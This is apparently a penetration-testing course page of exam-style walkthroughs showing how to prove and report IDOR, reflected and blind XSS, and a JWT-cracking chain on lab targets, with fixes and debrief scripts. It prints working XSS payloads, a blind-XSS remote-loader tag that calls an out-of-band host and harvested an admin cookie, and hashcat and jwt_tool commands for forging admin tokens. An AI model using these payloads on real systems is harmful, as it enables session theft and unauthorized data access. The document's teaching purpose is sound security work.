CMWAP — Exam-Style Exploit Walkthrough Examples

Worked examples of how to prove and document an exploit the way the CMWAP exam expects. These are methodology walkthroughs on lab-style targets — not answers to the real exam. Use them to build the habit of: find → prove → explain → account. Authorized testing only.

There are no flags. Every example below shows the finding, the minimal proof, the WSTG ID it maps to, the one-frame evidence you would record, the business impact in the client's language, and the forty-five seconds you would spend on it in your debrief.

Example A — IDOR on a document endpoint

WSTG: WSTG-ATHZ-02 · Severity: High

Recon. Mapped the app; found GET /api/docs/{id} returning a PDF for the logged-in user.

Proof.

GET /api/docs/1041 HTTP/1.1     ← changed from my own id 1055
Cookie: session=<mine>
→ 200 OK   {"owner":"another-user","account":"...","statement":"..."}

The minimal proof is two requests, not twenty: mine returning mine, mine returning theirs.

Proof shot. Burp Repeater showing my session cookie and the response carrying another user's document, in one frame.

Business impact. Any logged-in customer can read any other customer's statements — every customer's financial history is reachable by anyone with an account, with no audit trail.

Fix. A server-side ownership check on this endpoint, applied to every object-scoped route (there are eleven).

Debrief, 45 seconds.

"Any logged-in customer can read any other customer's statements. I changed the account ID in the statement request from mine to a colleague's and got their full transaction history back — no error, no audit entry. That's every customer's financial history reachable by anyone with an account, and it's the kind of thing a curious customer finds, not just an attacker. The fix is a server-side ownership check, and it needs applying to all eleven object-scoped routes."

Tracker row. | F-03 | High | WSTG-ATHZ-02 | bank-app | IDOR | any customer reads any statement | evidence/f03_idor.png | ☑ |

Example B — Reflected XSS

WSTG: WSTG-INPV-01 · Severity: Medium

Recon. Search parameter ?q= reflected into the HTML body unencoded.

Proof.

/search?q=rat9137                                        ← canary first: where does it land?
/search?q=<script>alert(document.domain)</script>        ← execution in the app origin
/search?q="><img src=x onerror=alert(document.domain)>   ← when < is filtered

Prove execution in the application's own origin — document.domain in the alert is the evidence, not a bare alert(1).

Proof shot. Browser alert showing the app's own domain, with the URL bar and payload visible in the same frame.

Business impact. An attacker who gets a customer to click a crafted link runs code as that customer — session theft, silent actions on their account, or a convincing fake login form on your real domain.

Fix. Context-aware output encoding on the search term, plus a CSP that forbids inline script.

Example C — Blind XSS reaching an admin (chain)

WSTG: WSTG-INPV-02 + WSTG-CLNT-01 · Severity: High

Recon. A "contact us" form stored input that was rendered later in an internal admin panel — no visible reflection to me at all.

Proof.

1. Listener up first (interactsh), before injecting anything.
2. Seeded a remote-loader payload into every field, each with a unique id so the callback identifies the sink:

    <script src=https://<id>.oast.pro/a.js></script>

3. Forty minutes later the collector logged a callback from the admin origin carrying document.cookie and a fragment of the internal admin page.

Proof shot. The collector log entry showing the admin-origin callback — cookie, internal URL and timestamp — in one frame, alongside the ticket I submitted.

Business impact. Filing an ordinary support ticket takes over a support agent's session. Anything the agent can do — read any customer's data, reset passwords, issue refunds — an attacker can do, from an unauthenticated form.

Fix. Encode on output in the admin panel (the sink, not just the source), and a CSP on the admin origin that blocks remote script.

Note the discipline. The listener was up before the first injection. If you seed at hour eighteen you will never see the callback, and an invisible bug is a finding you never get to write.

Example D — Weak JWT + broken object access (chain)

WSTG: WSTG-CRYP-04 + WSTG-ATHZ-02 · Severity: Critical

Recon. App issued an HS256 JWT. Separately, /orders/{id} did correctly check ownership — so neither weakness reaches impact on its own.

Proof.

1. Cracked the signing secret offline: hashcat -m 16500 token.jwt rockyou.txt → secret.
2. Forged a token with role:admin (jwt_tool ... -T).
3. With the admin token, the ownership check on /orders/{id} passed for any id → read every order in the system.

Proof shot. The forged token decoded showing role:admin, next to the 200 response returning another tenant's order.

Business impact. Anyone who can guess a weak signing secret can mint an administrator session and read the entire order book — every customer, every transaction. This is the finding that ends the meeting.

Fix. Rotate the secret to a high-entropy value held in a secret manager, reject alg values you did not issue, and keep the ownership check as defence in depth.

Why it's a chain. Neither link is critical alone. Say that out loud in the debrief — chains are where you demonstrate judgement, and the WSTG has no single ID for them, so you cite both.

The discipline (apply to every finding)

1. FIND      — which class, which endpoint/parameter, which WSTG ID
2. PROVE     — the MINIMAL request/response that demonstrates it
3. SHOT      — evidence + context (URL, user/role) in ONE frame
                → evidence/F-NN_<class>.png
4. NOTE      — request, payload, response, screenshot path, WSTG ID
5. TRANSLATE — one sentence of business impact in the client's language
6. TRACK     — coverage tracker row; change log row if it cost you time

A finding you cannot reproduce is not a finding. A finding you cannot explain in one sentence of business impact will not survive the debrief. And an hour spent making a finding reproducible is worth more, on this exam, than an hour spent looking for another one.

The XSS Rat · CMWAP Course · Exploit walkthrough examples · Authorized / lab use only.